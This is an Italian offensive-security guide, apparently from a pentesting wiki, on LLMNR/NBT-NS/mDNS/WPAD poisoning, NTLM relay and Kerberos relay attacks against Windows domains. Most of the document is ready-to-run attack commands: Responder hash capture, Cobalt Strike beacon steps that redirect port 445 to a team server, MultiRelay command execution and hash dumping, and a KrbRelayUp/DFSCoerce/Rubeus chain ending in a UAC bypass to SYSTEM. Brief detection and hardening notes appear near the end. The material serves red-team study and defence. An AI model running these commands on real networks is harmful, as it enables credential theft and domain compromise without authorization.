Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Attacchi di Relay

Reading time: 12 minutes

Protocolli di Rete

Protocolli di Risoluzione Locale degli Host

• LLMNR, NBT-NS e mDNS:
• Microsoft e altri sistemi operativi utilizzano LLMNR e NBT-NS per la risoluzione dei nomi locali quando DNS fallisce. Allo stesso modo, i sistemi Apple e Linux utilizzano mDNS.
• Questi protocolli sono suscettibili a intercettazioni e spoofing a causa della loro natura non autenticata e broadcast su UDP.
• Responder può essere utilizzato per impersonare servizi inviando risposte falsificate agli host che interrogano questi protocolli.
• Ulteriori informazioni sull'impersonificazione dei servizi utilizzando Responder possono essere trovate qui.

Protocollo di Scoperta Automatica del Proxy Web (WPAD)

• WPAD consente ai browser di scoprire automaticamente le impostazioni del proxy.
• La scoperta è facilitata tramite DHCP, DNS, o un fallback a LLMNR e NBT-NS se DNS fallisce.
• Responder può automatizzare gli attacchi WPAD, indirizzando i client verso server WPAD malevoli.

Responder per il Veleno dei Protocolli

• Responder è uno strumento utilizzato per avvelenare le query LLMNR, NBT-NS e mDNS, rispondendo selettivamente in base ai tipi di query, mirando principalmente ai servizi SMB.
• È preinstallato in Kali Linux, configurabile in /etc/responder/Responder.conf.
• Responder visualizza gli hash catturati sullo schermo e li salva nella directory /usr/share/responder/logs.
• Supporta sia IPv4 che IPv6.
• La versione Windows di Responder è disponibile qui.

Esecuzione di Responder

• Per eseguire Responder con impostazioni predefinite: responder -I <Interface>
• Per un probing più aggressivo (con potenziali effetti collaterali): responder -I <Interface> -P -r -v
• Tecniche per catturare le sfide/riposte NTLMv1 per una cracking più semplice: responder -I <Interface> --lm --disable-ess
• L'impersonificazione WPAD può essere attivata con: responder -I <Interface> --wpad
• Le richieste NetBIOS possono essere risolte all'IP dell'attaccante, e un proxy di autenticazione può essere impostato: responder.py -I <interface> -Pv

Avvelenamento DHCP con Responder

• Falsificare le risposte DHCP può avvelenare permanentemente le informazioni di routing di una vittima, offrendo un'alternativa più furtiva all'avvelenamento ARP.
• Richiede una conoscenza precisa della configurazione della rete target.
• Esecuzione dell'attacco: ./Responder.py -I eth0 -Pdv
• Questo metodo può catturare efficacemente gli hash NTLMv1/2, ma richiede una gestione attenta per evitare interruzioni della rete.

Cattura delle Credenziali con Responder

• Responder impersonerà i servizi utilizzando i protocolli sopra menzionati, catturando le credenziali (di solito NTLMv2 Challenge/Response) quando un utente tenta di autenticarsi contro i servizi falsificati.
• Possono essere effettuati tentativi di downgrade a NetNTLMv1 o disabilitare ESS per una cracking delle credenziali più semplice.

È fondamentale notare che l'impiego di queste tecniche deve essere effettuato legalmente ed eticamente, garantendo la corretta autorizzazione e evitando interruzioni o accessi non autorizzati.

Inveigh

Inveigh è uno strumento per tester di penetrazione e red teamer, progettato per sistemi Windows. Offre funzionalità simili a Responder, eseguendo attacchi di spoofing e man-in-the-middle. Lo strumento è evoluto da uno script PowerShell a un binario C#, con Inveigh e InveighZero come versioni principali. Parametri dettagliati e istruzioni possono essere trovati nella wiki.

Inveigh può essere operato tramite PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

O eseguito come un binario C#:

Inveigh.exe

Attacco di Relay NTLM

Questo attacco sfrutta le sessioni di autenticazione SMB per accedere a una macchina target, concedendo una shell di sistema se ha successo. I requisiti chiave includono:

• L'utente che si autentica deve avere accesso come Amministratore Locale sull'host relayato.
• La firma SMB deve essere disabilitata.

Inoltro e Tunnelizzazione della Porta 445

In scenari in cui l'introduzione diretta nella rete non è fattibile, il traffico sulla porta 445 deve essere inoltrato e tunnelizzato. Strumenti come PortBender aiutano a reindirizzare il traffico della porta 445 a un'altra porta, il che è essenziale quando è disponibile l'accesso come amministratore locale per il caricamento del driver.

Impostazione e funzionamento di PortBender in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Altri Strumenti per l'Attacco di Relay NTLM

• Metasploit: Configurato con proxy, dettagli degli host locali e remoti.
• smbrelayx: Uno script Python per il relay delle sessioni SMB ed esecuzione di comandi o distribuzione di backdoor.
• MultiRelay: Uno strumento della suite Responder per relay di utenti specifici o di tutti gli utenti, esecuzione di comandi o dumping di hash.

Ogni strumento può essere configurato per operare attraverso un proxy SOCKS se necessario, abilitando attacchi anche con accesso indiretto alla rete.

Operazione di MultiRelay

MultiRelay viene eseguito dalla directory /usr/share/responder/tools, mirando a IP o utenti specifici.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Questi strumenti e tecniche formano un insieme completo per condurre attacchi di NTLM Relay in vari ambienti di rete.

Forzare i login NTLM

In Windows potresti essere in grado di forzare alcuni account privilegiati ad autenticarsi su macchine arbitrarie. Leggi la pagina seguente per scoprire come:

Force NTLM Privileged Authentication

Attacco Kerberos Relay

Un attacco Kerberos relay ruba un ticket AP-REQ da un servizio e lo riutilizza contro un secondo servizio che condivide la stessa chiave dell'account computer (perché entrambi gli SPN si trovano sullo stesso account macchina $). Questo funziona anche se le classi di servizio degli SPN differiscono (ad es. CIFS/ → LDAP/) perché la chiave che decripta il ticket è l'hash NT della macchina, non la stringa SPN stessa e la stringa SPN non fa parte della firma.

A differenza del relay NTLM, il salto è limitato alla stessa host, ma, se punti a un protocollo che ti consente di scrivere su LDAP, puoi concatenarti in Delegazione Constrainata Basata su Risorse (RBCD) o registrazione AD CS e ottenere NT AUTHORITY\SYSTEM in un colpo solo.

Per informazioni dettagliate su questo attacco controlla:

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Nozioni di base su Kerberos

• I ticket sono crittografati con la chiave derivata dalla password dell'account che possiede lo SPN.
• L'Autenticatore all'interno dell'AP-REQ ha un timestamp di 5 minuti; la riproduzione all'interno di quella finestra è valida fino a quando la cache del servizio non vede un duplicato.
• Windows controlla raramente se la stringa SPN nel ticket corrisponde al servizio che colpisci, quindi un ticket per CIFS/HOST normalmente si decripta correttamente su LDAP/HOST.

• 2. Cosa deve essere vero per relay Kerberos

1. Chiave condivisa: gli SPN di origine e di destinazione appartengono allo stesso account computer (predefinito sui server Windows).
2. Nessuna protezione del canale: SMB/LDAP disabilitato e EPA disabilitato per HTTP/LDAPS.
3. Puoi intercettare o costringere l'autenticazione: avvelenamento LLMNR/NBNS, spoofing DNS, PetitPotam / DFSCoerce RPC, AuthIP falso, DCOM rogue, ecc..
4. Fonte del ticket non già utilizzata: vinci la corsa prima che il pacchetto reale arrivi o bloccalo completamente; altrimenti la cache di riproduzione del server attiva l'Evento 4649.
5. Devi in qualche modo essere in grado di eseguire un MitM nella comunicazione, magari facendo parte del gruppo DNSAmins per modificare il DNS del dominio o essere in grado di cambiare il file HOST della vittima.

Passi per il Relay Kerberos

• 3.1 Riconoscere l'host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 Avvia il listener di relay

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp avvolge KrbRelay → LDAP → RBCD → Rubeus → bypass SCM in un unico binario.

• 3.3 Costringere l'autenticazione Kerberos

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce fa sì che il DC ci invii un ticket Kerberos CIFS/DC01.

• 3.4 Ritrasmettere l'AP-REQ

KrbRelay estrae il blob GSS da SMB, lo ripacchetta in un bind LDAP e lo inoltra a ldap://DC01—l'autenticazione ha successo perché la stessa chiave lo decripta.

• 3.5 Abuso di LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

Altri percorsi da conoscere

Risoluzione dei problemi

Rilevamento

• Aumento in Evento 4769 per CIFS/, HTTP/, LDAP/ dalla stessa fonte in pochi secondi.
• Evento 4649 sul servizio indica replay rilevato.
• Accesso Kerberos da 127.0.0.1 (inoltro a SCM locale) è altamente sospetto—mappa tramite regola Sigma nella documentazione di KrbRelayUp.
• Osserva le modifiche agli attributi msDS-AllowedToActOnBehalfOfOtherIdentity o msDS-KeyCredentialLink.

Rinforzo

1. Forza la firma LDAP e SMB + EPA su ogni server.
2. Dividi gli SPN in modo che HTTP non sia sullo stesso account di CIFS/LDAP.
3. Patching dei vettori di coercizione (PetitPotam KB5005413, DFS, AuthIP).
4. Imposta ms-DS-MachineAccountQuota = 0 per fermare le unioni di computer non autorizzate.
5. Allerta su Evento 4649 e accessi Kerberos loopback imprevisti.

Riferimenti

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html